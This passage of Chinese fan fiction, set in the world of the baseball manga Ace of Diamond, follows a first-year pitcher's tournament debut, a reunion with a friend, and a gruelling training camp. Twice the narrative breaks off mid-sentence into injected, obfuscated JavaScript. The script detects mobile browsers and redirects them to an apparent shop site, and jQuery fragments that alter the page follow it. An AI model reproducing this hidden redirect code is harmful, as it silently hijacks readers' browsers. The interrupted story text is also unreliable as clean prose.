“白鸟京……没听说过啊。”一般而言,能够现在就进入一军的,都是国中颇具名气的选手,比如稻城实业的成宫鸣。 那是真声名显赫的天才,国三期间接触他的学校如过江之鲫。柳生监督也去凑过热闹,当然没能成功,最后是稻城实业笑到了最后。 说起来稻实那不是和青道一样都是西东京的吗?西东京还真是死亡赛区啊…… 柳生监督可不会和观众一样质疑片冈是不是突然降智,能在这个场合上场的一年级,投球实力一定不错,就是不知道能不能适应高中正赛的氛围了。 如果有机可乘,我们这边也不会手软哦。 柳生监督看着即将上场的9棒:“对方虽是个新人,但投球实力肯定是有的,不过初登场大概率会紧张进而影响控球,趁此机会打爆他。” 白鸟跟着增田走上投手丘,他能听见周围不断传来质疑声。 质疑他是谁的,质疑为什么要上个一年级投手的,质疑片冈监督是不是破罐子破摔的…… 很吵。 增田悄悄观察着白鸟,白鸟和他接触过的投手都不太一样,柴崎沉默但好懂,水谷一开始我行我素但被高野暴击之后比赛变得听话了很多,丹波嘛……羞涩腼腆,但有着很强的上进心和自尊心。 白鸟不知为何给人感觉很游离,平时谦逊礼貌,但就是太谦逊太礼貌,反而让人抓不准方向,像在纯白飘渺的雾中摸索。 不过增田觉得没必要过于担心。 “高野的换投可以在投手丘上热身投球最多8球,今天的投球就按之前监督说的,把球速控制在150KM以内,能做到吧。”增田用手套拍了拍白鸟的胸口。 这是要藏拙的意思,到时候夏甲预选赛关键赛再火力全开一鸣惊人。 150KM/S以内的球速已经完全够用了。 白鸟拥有四宫格控球、二缝线和极为优秀的滑球,如果这都不够用,那些没有火球手的学校是怎么打进甲子园的? “嗯,能做到的。”白鸟认真地点头,他想了一下,多说了一句。 “我会把球都投进前辈的手套里的,前辈放心配球吧。” 真是倒反天罡,投手反而来安慰捕手了,增田哭笑不得。 增田回到本垒板让白鸟投了几球习惯一下场地,进入手套的棒球依旧准确快速,观众的声音也小了一些。 “看上去球速挺快啊。” “而且投球姿势很漂亮利落。” “长得也很帅呢~”一位女观众看着转播切的镜头扶着脸颊感叹道。 能来看高野的观众自然不可能是什么棒球小白,白鸟只练投了几球,他们就能看出最起码这个新上场的投手有着能够站在这个赛场的底气。 竞技运动菜就是原罪,只要能赢什么都不是问题。 主裁判见此直接宣布这局比赛开始。 “五局上半,岚樱高中攻击,九棒,投手,上泉君。” 上泉走上打击区,他是右投左打。 “上泉!加油啊,让那个家伙知道高中棒球的残酷!” 我知道,别吵了。上泉挪了挪脚,他打量了一下投手丘上的白鸟,看上去体格也就那样,估计是控球型投手吧,刚刚练投时球速也没我快。 长得倒是不错。上泉酸溜溜地摆好姿势,他高一都没有进一军。 “Play Ball!” 倏忽间就像一道风拂过耳畔,上泉鬓边的发丝飞扬中响亮的声音响彻球场。 “Strike!” 什、什么?! 白鸟投球的姿势流畅自如,像是一点思考都没有就轻松掷出了手中的棒球。 记分板的记速部分浮现出此次比赛的最高球速147KM/S。 “哇啊!那是什么啊啊啊!” “好帅!” 球场被这巨响震住一秒后,重新哗然。 “哇!火球加上这张脸,青道高中是吧,我要粉他!” 在体育竞技届,如果你有实力,还有一张水平线以上的脸,那你已经赢了大半。如果实力和脸不仅是水平线以上,还是其中的佼佼者,那你已经赢下了所有。 上泉被飞速三振后都没反应过来,他失魂落魄地经过下一个打者回到休息区。 那个投手比他小两个年级,球速却已经比他目前的最高球速还要高……他刚刚到底在傲气什么,在看不起什么? 上泉一屁股坐在椅子上,低下头。 柳生监督一反常态地没有批评他,只是盯着投手丘上的白鸟猛瞧。 他的眼中没有那个豪爽的球速,而是白鸟站在投手丘上开始投球时,顷刻间仿佛球场上所有光线都被吸引过去的身姿。 如果说如何分辨一个投手的好坏,不一样的人有着不同的标准,但有一条一定是统一的,那就是「存在感」。 绝对的存在感。 只要站在那里,人们就无法从他身上移开目光。 虽然还稍显稚嫩,但是……瞧瞧现在场内场外的样子吧。 柳生监督环视了一圈周围,包括己方的休息区,所有人眼中现在只有那个投手,有谁还在关注打者的状态如何?捕手如何? 就在这样的气氛里,白鸟走下了投手丘。 “结束了?这就结束了?” 是的,爽快的三上三下,属于岚樱的攻击已经结束了。 高岛礼有些感叹:“我还以为这孩子多少会有点紧张,结果反而投的更好了啊。” 片冈监督笑了起来,他注视着在队友的簇拥下往休息区走的白鸟,暗自想到,我的期望似乎有实现的那一天了。 “白鸟具备着成为一个顶尖投手的潜能。”片冈笃定地说道。 高岛礼推推眼镜,眼神中满是赞许:“没错,无论是火球还是这颗大心脏,他的天赋已经让他和大多数投手站在了完全不同的地方。” 这边片冈监督和高岛副社长之间大人的谈话还在进行,那边选手们的板凳席已经一片欢欣,白鸟被激动的学长们围在其中。 “你小子真不怯场啊!” 伊佐敷在揉白鸟的头发:“真有你的,投得太好了!” “喂喂喂!快放开白鸟,下半他是第一个打者赶紧让他休息一下!”增田学长赶紧叫停。 于是白鸟就被热情的学长们放在板凳上,水、毛巾、装备一股脑被递了过来。 也是巧,五局上岚樱的第一个打席是9棒投手上泉,五局下青道的第一个打席也是9棒。 岚樱的投捕正在投手丘上谈话。 “上泉,我知道你在想什么,你一直因为自己的球速在队里一骑绝尘而沾沾自喜,现在出现了一个球速比你厉害,年纪还比你小的人,很不服气吧?”千叶凪的眼睛宛如透视镜,轻易看穿了上泉的心思。 上泉叉腰站着翻了个白眼:“你这种喜欢随便猜投手心思,还非要说出来的捕手真讨厌。” 千叶上前一步:“上泉,世界上那么多厉害的投手,难道你要一个个去讨厌吗?” “怎么得分是打者要考虑的事情,你要做的是不让对面得分,现在可是我们领先。” “保持住状态,赢下这场比赛,赢下他!胜利是属于你的,上泉。” “啊啊啊,我知道了啦!”上泉看似烦躁地摆手以掩 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他踏出一步,在捕手惊讶的目光下伸长球棒击中棒球,靠着能投出火球的臂力将棒球远远击飞。 白鸟立刻扔了球棒开始跑垒。 “外野手!”千叶站起身往前跑了几步。 等球落地回传,白鸟已经跑上了二垒,他在垒指的指挥下停下脚步。 其实这记深远的外野长打完全可以试试扑三垒,毕竟岚樱又没有伊佐敷这样的镭射肩外野手,但是跑垒的是珍贵的投手的话那就另说了。 “可恶,怎么打击也这么厉害,运气吧。”上泉看着二垒的白鸟,嘴里发出了嫉妒的嘟囔。 千叶倒是看得很明白,白鸟对上泉的影响比想象中更深,比赛中没有足够的时间让上泉去调整状态,心态上的瑕疵体现在投球上,被白鸟敏锐地捕捉到了。 “哇哦~投打双能啊!” “真是高一的吗?” 青道应援团里还没有记录白鸟的应援曲,不过应援团长已经决定要紧锣密鼓地开始准备了。 以这一击二垒安打开始,青道的打线开始串联,而这些强打一旦打出手感就轻易不会停下。五局下半直接豪夺3分。 岚樱也是终于在五局末正式换上了他们外野的王牌,才将将抑制住了青道的得分。 白鸟再次站上投手丘,面对的是岚樱的中心打线,嘴硬的岚樱粉丝还在说白鸟能那么轻易三上三下岚樱是因为出其不意,加上面对的不是强打,完全把之前表现很好的星间扔到了一边。 “前辈一定要小心啊,”星间郑重地对着准备上打击准备区的4棒加藤道,“那个投手的球不仅速度快,控球也很好,小心他的诱导坏球,真的很难分辨!” “能被你小子这么说,我一定会加倍小心的。”加藤拎着球棒半跪在准备区,眼睛谨慎地盯着投手丘上的白鸟京。 白鸟站在投手丘上踩了踩脚下的土,他觉得今天手感不错,很多之前要费一番心思的边线球也能投的很顺畅,所以面对增田的配球暗号,他通常不会过多准备就能投出去。 他喜欢这种由他来掌控节奏的感觉。 投手明快的投球节奏加上不低的球速,导致留给打者思考准备的时间更短了。 御幸倚靠在栏杆处注视着白鸟投球的身影:“白鸟今天的状态很好啊。” 3棒被三振下场,到目前为止,增田都还没配过一个变化球,他算是知道了为什么所有捕手都喜欢和控球好、大心脏的投手搭档。 不需要顾虑投手,想要什么球投手都能投出来,捕手的配球能力可以完全发挥,每一球进入手套都能听见优美动听的声音。 不好啊不好,和白鸟搭多了的话,其他投手的控球感觉会变得不够用。 由俭入奢易,由奢入俭难啊。 20. 朋友 岚樱的4棒是个身材魁梧的家伙,除了没有小肚腩之外,长相和东学长一样粗犷,不过打击实力就像体重一样逊色了东前辈几筹。 在一军当过几次喂球投手的白鸟了解青道一军各个打者的实力与习惯。 东前辈看上去大大咧咧,仿佛只会用蛮力击球,实际上在打击时拥有十分出色的技巧和选球眼光,力量只是锦上添花。 而岚樱的4棒在白鸟前面的观察中,打击就没有那么细腻了,不过他也不会因此小看对方就是了。 见增田学长把手套放在了内角高位,九宫格中大约3号位的位置,一颗直冲打者胸口的直球,白鸟微微挑眉。 加藤已经做好了心理准备,但还是挥棒迟了一步,棒子都没能擦到球,眼见着棒球乳燕投林般没入捕手的手套。 他握紧了球棒,终于理解了3棒路过他时为何什么都没说。 不过……监督说过,投手一时难以攻克的话,那就从捕手那里下手好了。 大家都因为这个投手意料之外的实力而十分压抑,这里就该是他这个4棒必须打出去的时候啊! 加藤坚定了决心,目光如火般烧向投手丘。 增田并不意外,如果强校的四棒就这么认输了那才奇怪呢。 ‘他很想打出去呢……下一球内角低位球坏球,最好在好球带边缘不要超过一个球的身位,引诱他挥棒吧。’增田微微移动手套。 白光如一道彗星越过投手丘到本垒板的距离,在加藤惊怒的目光下进入捕手手套,糟了,是坏球! 但他已经挥棒了,裁判将其记为好球。 主要是这个投手控球好已经刻进了大家的心中,这对投捕对于坏球的使用十分吝啬。还是他先入为主了,明明答应了星间要小心的,加藤懊恼地挥了挥棒子,调整了一下心态。 哈哈,我就是喜欢打者这种被耍了后懊恼的表情啊,增田前辈也很懂嘛~休息区御幸捂嘴嘻嘻嘻地笑了。 旁边的丹波嫌弃地看了他一眼,笑的好恶心,一点都没有克里斯沉稳可靠。 下一球。增田沉思片刻,两好球的情况下,打者会很纠结下一球究竟会是好球还是坏球,这里直接一点,不要给他太多时间思考就可以了。 ‘外角球!’ ‘外角球!赌了!’ 加藤看着奔袭而来的棒球,深吸一口气憋住然后猛地挥出了棒子,要打到啊!! 他看着棒球就要撞上球棒,眉毛已经因为喜悦而上扬,却见棒球在接近球棒时突然变慢了一点点,然后仿若活过来般微微下坠擦过球棒。 白色小球在加藤目眦欲裂中重重坠在本垒板前的泥地上。 ‘好重的球!’ 增田立刻几步扑了过去拿起棒球传向一垒,杀掉了才跑了几步的加藤。 加藤回去时死死咬着后槽牙,与5棒擦身而过他低声道:“是二缝线,路线前期和直球完全一样。” 他当然知道这个投手会变化球,但是真的出现了,自己还没打好,他心中还是受挫。 增田在本垒板处看了看投手丘上的白鸟,他刚刚要的可不是二缝线。 白鸟抱歉地注视着增田学长,内心惴惴,刚刚投球的一瞬间不知道为什么,总觉得那一球会被打中就临时改变了投的球种,明明应该和捕手商量来着。 虽然他的球就算被打中也不一定能打好,但是白鸟还是想在自己的第一场正赛中做的尽善尽美一点。 增田并没有生气,加藤挥棒的时候他就发现了,对方是瞄准了球路打击的,也就是说打者猜中了他的配球。 没想到白鸟能及时更改球种,是感知到了什么吗?这究竟算球感惊人,还是什么优秀选手特有的直觉之类的东西? ‘别害怕,这次多亏了白鸟及时反应,就是下次如果要改,记得摇头告诉我,我不会生气的。’增田比了几个手势。 白鸟松了口气,点点头。 “这就是你非要和佐佐木监督请假也要来看的朋友?”看台上两个少年穿着白龙高中的校服,其中的一个饶有兴致地问道。 另一个有着浅金色接近奶油白发色的少年点头,他面孔帅气严肃,气质冷淡。 “美马,有这么厉害的朋友怎么不把他拉到我们学校,多可惜啊。” 美马总一郎淡淡道:“他喜欢青道。” 五棒也没有什么意外的出局了,白鸟跟着增田往回走的路上道了声歉。 增田拍了拍他的背,脸上浮现如同老父亲般的慈祥:“没事的,这反而让我更了解你了。” “?”白鸟。 白鸟接过御幸递来的水,他有点心虚没有说话,不知道御幸刚刚有没有看出来。 这当然是没看出来的,毕竟加藤的球棒擦到了棒球,增田的反应也很快。 增田正坐在白鸟旁边休息,他问道:“刚刚的二缝线,我注意到它几乎只有下坠没有多少向右打者方向横移,和练投时不一样,是手感不好吗?” 白鸟微微摇头,他伸出手比划了一下:“我练习变速球的时候发现的,如果投二缝线时手腕扭动的角度更小,二缝线的横移就会小很多。” “当时面对那个力量型的打者,如果投向内横移的二缝线,下坠幅度不够,被击中硬是靠力量拉打出去的可能性更高,不如让他打出内野滚地球更好处理一点。” 原来如此,增田忍不住点头赞同。不过光靠练习变速球就能让二缝线也跟着进化吗?真是可怕的才能。 御幸也欣赏地看了白鸟一眼,能自己思考的投手总是不多见的,虽然他更喜欢听话的投手,但只顾着投完全不能理解配球的投手也没什么意思啊。 柳生监督有不好的预感,他知道不能让这种强打王国的学校打出手感,所以做了很多投手的调配,为的就是压制青道的打线。 奈何人算不如天算,自家打线反而熄火了。 直到七局结束,已经是3:6了,青道6,他们3。柳生监督闭了闭眼,听见青道换人的广播,白鸟京被丹波光一郎换下了场。 岚樱的队员们顿时松了口气,丹波他们有资料啊,做了很多功课的。 柳生监督反而没那么乐观,但他也没有出言打击,他又不总是不分场合的说些不好听的话,这种情况再打击他们,岚樱就再也没有希望了,说到底上场比赛的是球员啊。 顺风局丹波的心态会稳定很多,他的决胜球曲球,只要直球能稳得住,就没人能轻易攻克。 所以岚樱的队员们一上场,理所当然地发现怎么这个投手也不好打啊! 随着比赛结束的广播响起,双方学校列队,记分板上停留在4:7的数字显眼又刺目。 白鸟被对面的星间抓住手,少年有着黝黑的皮肤和一头浅色的头发。 “你的投球很厉害,但是下次我会更厉害的!下次一定会打出去!” “好了星间吵死了你,一边去,该我了。”上泉挤走吵吵嚷嚷的星间,仗着接近190cm的身高居高临下地瞥了白鸟一眼。 正准备说点臭屁的话,比如你还差得远之类的,就被熟知他秉性的姬野拉走了。 千叶和增田握过手后来到白鸟面前,那双眼睛依旧看不出喜怒,只是平静道:“如果能搭档一次就好了,我在甲子园等你。” 白鸟一愣。 伊佐敷觉得对面在挑衅,大声道:“我们一定会进甲子园的!别小瞧人了!” “声音太大了,阿纯。” 加藤作为和东一样的四棒兼队长,两人握个手握出了天崩地裂感。 “呵呵,我也打出了本垒打哦。”加藤皮笑肉不笑地说道。在临近比赛结束阶段,他面对丹波的直球敲出了一记本垒打追回了1分,算是没有愧对自己四棒的职责,可惜对于比赛的结果并没有什么影响。 东清国露出恶人脸笑着道:“我的本垒打总数有39,你呢?” “……” “你呢?” 这边电光火石,监督那边倒是一片祥和。 “恭喜片冈监督了。”柳生监督笑眯眯的。 片冈认真地握了握手:“还要多谢柳生监督在这次比赛中带给我的启发。” 柳生监督眼睛闪了闪,保持着笑容:“我也是,得到了很有用的信息啊。” 待青道开始往回程大巴上走时,出口处的一个边缘角落。 “不去见见他吗?都特意来看比赛了。” 美马摇摇头,虽然依旧面无表情却能感觉到他温和下来的气场:“知道他在青道过的不错就行了。” 之前的白鸟十分令人担心,离开青少棒后发泄般整日埋头苦练。如果不是后来请了棒球老师一对一严格管理,可以说根本无法看见他如今的投球,因为他自己就能把自己练废。 那时白鸟还在大阪,作为朋友,美马尽管劝告过,却到底因为距离太远无法插手。 直到某天他手机上收到白鸟的Line,说他要去青道。 无论是不是棒球,只要白鸟能重新站起来,决定前进,美马都对此感到开心。作为一个打者,他当然明白白鸟在投球上的天赋,但是比起棒球,他更无法放任朋友痛苦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674053|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “总一郎!” 美马正沉浸在往日的回忆里,突然被熟悉的声音惊醒。 他抬眸一看,白鸟脱离了青道的队伍,开心地向他跑了过来。 “京。”美马总是没什么表情的脸上浮现了一个微不可察的笑容。 “你来看我比赛了啊。”白鸟开心地看着这个许久未见的朋友,美马总一郎是现实中他踏上棒球道路后交上的第一个朋友,那时他们总会一起讨论有关棒球的话题。 美马虽然看着严肃不好接近,其实是个外冷内热的人,从不会轻率对待他人,和他相处时能感觉到自己在被重视着,这样的一份关注给了当时的白鸟很大的支撑。 “嗯,投的很好,我都看见了。”美马安抚地拍了拍白鸟的肩膀 “这是浅野深寻,我现在在白龙的队友。这是白鸟京,我的朋友。”美马简单给两人介绍了一下。 “真是优秀的投手,初次见面。”浅野和白鸟握手然后夸赞道。 白鸟礼貌地笑笑:“谬赞了。” 简单地寒暄过后,白鸟认真道:“总一郎,也恭喜你们今天获胜,希望我们可以在这次大赛上对决。” 谈到棒球比赛,美马顿时眼神炽热,身上燃起了火焰:“好,你的投球已经完全进化了,真想知道站在打席上看是什么样的啊。” “不会让你失望的,之前让你担心了,但是我现在已经没问题了。”白鸟有点不好意思地谈论起从前的事情。 美马摇了摇头,银灰色的眼睛认真地看着白鸟:“我从来没有对你失望过,京。你是我的朋友,我只希望你能快乐。” 白鸟缓缓睁大了眼睛,他张了张嘴,千言万语萦绕在心头,梗塞在喉口。 其实,他早就找到了能一起走下去的朋友了吧……但那时的他太害怕了,不敢再去相信,深怕再被伤害。 他知道那时自己的状态糟糕透了,所以哪怕回来了东京,也不敢和美马见面。 还是美马主动发了Line告诉自己,因为他和白龙监督的棒球理念相和,所以他要去白龙高中就读。 “喂!白鸟,车要走了哦!”不远处传来了同伴的呼喊声。 白鸟的思绪被打散,想说的话也没办法说出口了,他在原地踌躇了一下:“等我回去之后,Line上联系吧。再会,总一郎。” “嗯。”美马看着白鸟小跑着回到青道的背影,直到他上了大巴。 旁边的浅野调侃道:“还要看吗?” 美马莫名:“不是走了吗?还看什么?” 浅野:“……”这家伙一点都不懂玩笑话。 直到美马回到学校落宿的地方,手机忽然震动了一下,他拿起一看。 白鸟:「谢谢总一郎你一直等着我,我已经决定会在这条路上一直走下去了。」 「下次比赛见!」 美马:「好。我期待着。」 大巴车上,白鸟坐在车上捣鼓手机,他在翻看之前和美马的聊天记录。 御幸有些好奇地问道:“刚刚那个就是你在白龙的熟人吗?” “嗯,总一郎是个非常非常厉害的选手。”白鸟放下手机,想起了两人的初见,那次还是美马主动向他要了Line号呢。 “美马总一郎,我知道他,他在国中就很出名了,原来进了白龙高中啊。” 厉害的选手都有自己的圈子,就像成宫鸣,国中毕业就集结了一堆厉害的选手一起进入了稻实。 “他应该也符合白鸟想和朋友一起打棒球的梦想吧,为什么白鸟那时候没去白龙呢?”御幸想起之前聊天时白鸟暗淡的眼睛。 白鸟握紧了手机:“因为那时的我很糟糕,和总一郎一起的话,完全只是拖累。” “后来状态渐渐好起来后,我也曾想过要不要追随总一郎的脚步去白龙。” “直到我看了一场青道和稻实的比赛。” 白鸟回忆起那场决定了他未来的比赛。 “比起一直跟在朋友的身后像个永远长不大的孩子,无法获得成长,我还是更想追求改变,青道让我看见了这种可能。” 御幸注视着沐浴在光影交错中说起朋友时显得十分幸福的白鸟。 “啊对了,御幸以后也喊我京吧,我能叫你一也吗?” “……京。” “一也!嗯……感觉不如御幸顺口呢,是因为京(Miyako)和御幸(Miyuki)的发音有点像的缘故吗?” 春日限定的粉色樱花在一阵疾风中如雨落下,少年们的笑闹声随之逐渐远去。 21. 受欢迎 关东大赛的后几场,御幸和白鸟上场的次数渐渐增多了,明眼人都知道这是在为夏甲预选赛做准备。 因为两人的优秀,舆论比想象中友好,青道多了对天才投捕的消息也越传越广。 “啊可恶!也多宣传宣传我啊!”成宫鸣看着报纸不爽地抱怨。 白河头都要被他念痛了,停下挥棒不爽道:“那不是有你的报道吗?” 成宫放下报纸双手抱胸:“可是没有一也和那家伙多啊!球速快有什么了不起的,我再过段时间也能这么快!” 神谷黝黑的脸上露出个微妙的笑容:“想要的捕手拥有了另一个厉害的投手啊……” “什么啊,还是我比较厉害吧!”成宫跳起来揪住神谷的衣领摇晃。 “是是是……” 白河嘴角抽了抽,不想再看这么弱智的画面,转过了头。 *** 5月的关东大赛因为参赛的学校没有那么多,赛程进展还是很快的。 青道过五关斩六将来到了准决赛,以1分之差惜败给了神奈川的横滨。 这场比赛白鸟是首发投手,投了3局后被换下了场,两个都是强打王国的学校可以说是一直在尽力得分,分差小,但是分数基数都很大。 很多人不理解片冈监督为什么要在第三局换下白鸟,明明不换的话大概率赢的会是青道。片冈监督是个名副其实的铁面监督,没人能从他嘴里挖出他不想说的话,最后大家只能猜测是不是因为一年级的体力不够,还习惯不了高中比赛的强度。 白龙最终也败在了市大三的手里,春甲四强、春大赛冠军的市大三高校势如破竹攻入了准决赛。 横滨与市大三的决赛相当精彩,最后横滨以微弱的优势赢得了冠军。 白鸟和美马想要在赛场上打一场的愿望终究没有在这次比赛中实现。 不过他们都才一年级,以后多的是机会,并不急于一时。 离开球场时,白鸟回望着这个他第一次参与正式比赛的地方,忍不住对着身边的御幸说道:“下一次,我不想输了。” 御幸一愣,他看向白鸟的侧脸,他想说这次会输不是白鸟的原因,可最后他只是笑:“好啊。” 关东大赛结束后就是6月的夏季甲子园预选赛,因为青道是这次春季大赛的亚军,8强都拥有种子队的特权,所以预选赛只要从三回战开始参加就行了。 这给了青道更多的练习时间。 “所以就是那个吧,那个……” “合宿!” “没错!”仓持跃跃欲试,他在看台上看白鸟和御幸活跃在赛场上真是看够了,他也想进一军,然后成为正选! “没见过有人期待魔鬼训练的,仓持你真是个特别的家伙。”御幸贱嗖嗖地说道。 特别在哪里?特别M! 还好御幸没有说出来,要不然仓持的鞋就要在这大庭广众之下去接触一下他的头了。 “滚啊!”仓持翻了个白眼。 他们正聊着天,是其他人无法插足的氛围,也正因为满脑子都是棒球,总是一放学就失踪,三人在班上熟悉的人也就只有彼此。 “那个……” 突然一个细弱的声音在三人身边响起,仓持吓了一跳,一转身看见三个女生站在他身后,他以为是自己挡住路了,连忙让开。 为首的女生对着仓持不好意思地说了声谢谢,然后径直走到了白鸟面前。 仓持的眼睛一下子瞪圆了,他看着女生羞涩的样子,悄悄凑到御幸旁边:“这不是我们班的女生吧?” “好像确实不是。”御幸转着笔,一下子就明白大概要发生什么了。 “可恶啊,怎么别的班的女生都来了,这家伙这么受欢迎吗?明明只是个棒球笨蛋……”仓持脸都扭曲了,恶鬼一样注视着白鸟。 白鸟努力忽视那道邪恶的视线,看向女生:“请问?” 女生红着脸在另外两个女生的鼓励下递出一封信:“我是A班的南云彼方,请白鸟同学收下这封信吧。” “我……” 还没等白鸟说完,南云看见他拿过信,立刻害羞地跑走了,留下白鸟一人面对仓持愈发险恶的眼神。 “啊啊啊真是可恶啊你这家伙!”仓持揪住白鸟的领子开始晃悠。 “嘛~你多少该习惯了吧。”御幸悠哉悠哉地说道。 仓持崩溃:“我才不要习惯啊,混蛋!” “你不看吗?”仓持看着那封信,像在看梦中情人,又像在看洪水猛兽。 白鸟好不容易解救出自己的领子,闻言将信放进抽屉:“回去再看吧,在这看不太好吧?” 有了仓持这个目击证人,放学一回到棒球社,白鸟就被围攻了,有同年级的也有学长。 “我就知道。”加藤太郎怨念地说道。 村田无语:“看这脸,早该有这种情况了吧,有什么好奇怪的。” 楠木笑眯眯地围观:“白鸟和御幸进入棒球社后就有后援团了,喜欢他们的女生各个年级都有呢~” “那为什么现在才有人告白?”村田难得有点好奇。 楠木耸耸肩:“我哪里知道女孩子是怎么想的?” “额……顶着棒球部的王子称号的人,没资格这么说吧。”村田做了个呕吐的表情。 “帅哥都去死,帅哥都去死……”加藤已经变成怨灵状态了。 村田慢悠悠游走:“这位更是重量级,呵呵。” 后续棒球社众人也没有具体打听过怎么样了,只要知道白鸟之后并没有变成有女朋友的成功人士,他们就安心了。 “所以什么情况?”仓持偷偷问道。 白鸟慢了一拍才反应过来他在问什么:“我拒绝了。” 仓持不满道:“为啥?”虽然白鸟答应他大概也会不满吧。 “因为我要专注棒球,大概很少有时间去陪她,贸然答应才是不负责吧,再说我都不了解她,怎么可能轻率的就去谈恋爱啊。”白鸟解释道。 仓持嘟囔:“还真是个棒球笨蛋,不过也好。”他斜了白鸟一眼,得到想要的答案后转身离开。 白鸟追了上去:“仓持要去哪里,一起吧?” “你是跟屁虫吗?” “洋一,傲娇已经不流行了。” “谁是傲娇啊!还有好黏糊啊你,谁让你叫我洋一的啊喂!” 青春期的躁动都是因为无处发泄的多余的精力,强化合宿开始后,就没人再有力气去考虑那些有的没的了。——村田语 前面可是地狱啊.JPG 先是基础的热身,然后就是看不到尽头的往返跑、负重跑、绕圈跑、各种跑,人都要跑麻了。紧接着就是挥棒训练,跑垒训练等,就是冲着不把你的体力榨干不罢休,看看你在极度疲惫下打棒球会有什么状态。 不过有了克里斯的事情,教练组设置了跟组的运动健康专家,保证训练量卡在每个人的极限上,不会留下隐患。 增田的评价是:都是高野“神”一样的赛程把人逼疯的。 这可苦了白鸟和御幸这两个一军里唯二的一年级,训练量都是和前辈们一样的,前辈们好歹有一两年的基础,一副尚且有余力的样子,他两却已经快看见三途川了。 “白鸟、御幸!快动起来,别停在原地了,就你俩掉队!” “快,挪挪你的腿,那边球都飞远了!” “哔——怎么小小年纪就不行了,还有两组深蹲呢!” “引体向上、器械训练,项目多着呢,你俩别装死了。” 等等等等……往日的什么闪耀的天才头衔在泥地里打滚时已经抛到天边了,剩下的只有被加倍的体能训练折磨的可怜人。 魔鬼般的体能训练暂时结束后,他们已经宛如刚从水里捞出来一般。 “嗯,在这干啥呢,赶紧去做守备训练。”助教毫不留情地像在驱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674054|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶掉队的绵羊般把两人赶走。 增田抹着额头的汗,忍不住感叹:“真可怜啊。” “我们当初不也是这么过来的。”虽然这么说着,但伊佐敷还是走过去递了毛巾让两人好歹擦擦汗。 白鸟仿佛看见了救星,他感激地看了伊佐敷一眼,连开口多说几句话的力气都没了,接过毛巾咳了几声,把喉咙口的血腥气清了清:“伊佐敷前辈……” “好了好了,少说几句吧,快擦。你这体力是要多练练。”看着像是被大雨淋透的鸟般的后辈,伊佐敷状似嫌弃地打断了白鸟的感谢。 御幸比白鸟好一点,但也好不到哪去,此时半死不活慢吞吞地擦着脸,就是为了多争取几分钟的休息。 大家当然看出来了,但都睁一只眼闭一只眼,他们又不是真的魔鬼。 普通的内野外野守备练习之后,投手还有投手丘的守备和补位练习要完成,捕手则是挡球练习和阻盗练习。 “喂,快点补位啊白鸟,跑者都能在垒上吃完一桶泡面了。” “御幸,你的球怎么扔的软绵绵的,盗垒跑者直接盗到本垒去好了。” 又是新的一轮训斥。白鸟已经麻木了,眼里心里除了要做的动作没有别的空余再去装这些垃圾话,四肢像是灌了铅,如果不是一口气死撑着,他能现在就在投手丘上死给他们看。 身体崩溃有身体崩溃的痛苦,精神崩溃有精神崩溃的痛苦,起码现在白鸟觉得自己还能坚持。 不知不觉天就黑了,经理喊大家吃饭。 手捏的各种饭团、炸鸡块和水果等食物看上去十分诱人。这些都是社团经理亲自做的,青道这种百人大社,她们平时的任务其实相当繁重,完全就是凭着热爱在做事,真的很了不起。 “谢谢经理桑!”大家七嘴八舌地向着经理们道谢,然后三三两两开始休息。 白鸟的状态已经好多了,他拿了个梅子饭团开始慢慢吃了起来,大量运动过后他是真的不想吃那些油腻腻的东西。 伊佐敷拿着饭团看着白鸟犹豫了一下,转头去找御幸了。 完全不知道自己躲过一劫的白鸟,看见伊佐敷前辈突然开始关心起御幸的肚子,想让他多吃点,而御幸在努力推拒,说要不还是前辈多吃点吧。 明明是一幅前辈慈后辈孝的场面,却莫名充满了看不见的刀光剑影。 伊佐敷到底没有坑到聪明狡猾的捕手,郁闷地走开了。 吃完饭后,以为天黑了训练量会好一点的白鸟觉得自己真是想多了,那是新的一轮地狱啊,地狱。 甚至比下午更恐怖。 折返跑20趟、跑垒练习100趟等等……跑完魂都要从嘴里吐出来了。 白鸟和御幸互相支撑着才没有倒下,看着游刃有余的前辈们,这才清晰感受到了体力的差距。 “快结束了吧……”御幸感觉自己腿都在抖,他一手架在白鸟肩上,一手撑着腿,弯腰驼背只顾着大喘气。 白鸟沉默了好半晌,只为了不在开口的那刻散了那口硬撑的气:“……应该吧。” “好,今天的练习结束了。最后绕球场跑20圈!”片冈监督大声宣布。 最后绕场跑20圈,最后绕场跑20圈,最后绕场跑20圈……这对二人来说不亚于死神的宣判,眼前似乎已经出现了几个大字【你有罪!】 这种日子居然要持续一个星期,真是生理意义上的眼前一黑。 晚上泡澡都是仓持他们给扶着进去的。 “哇……这么恐怖吗?”川上看着在池子里仿佛下一刻就要睡过去的两人,有些感慨。 二军也有合宿,只是强度没有一军高,两个操场都能看见彼此,自然知道白鸟御幸经历了怎样的地狱。 “总有一天,我也会和他们一样。”仓持握紧拳头,坚定地看着已经睡着的两人。 睡着? “喂!别在泡澡的时候睡觉啊,想感冒吗?!” 22. 男高啊男高 青少年的精力像野草,割了一茬还有一茬。 在泡过澡后,之前累的像死猪的少年们觉得自己又行了。既然监督说了合宿期间不允许加练,那就美美聚个会好了。 难得平时走读的家伙也在。 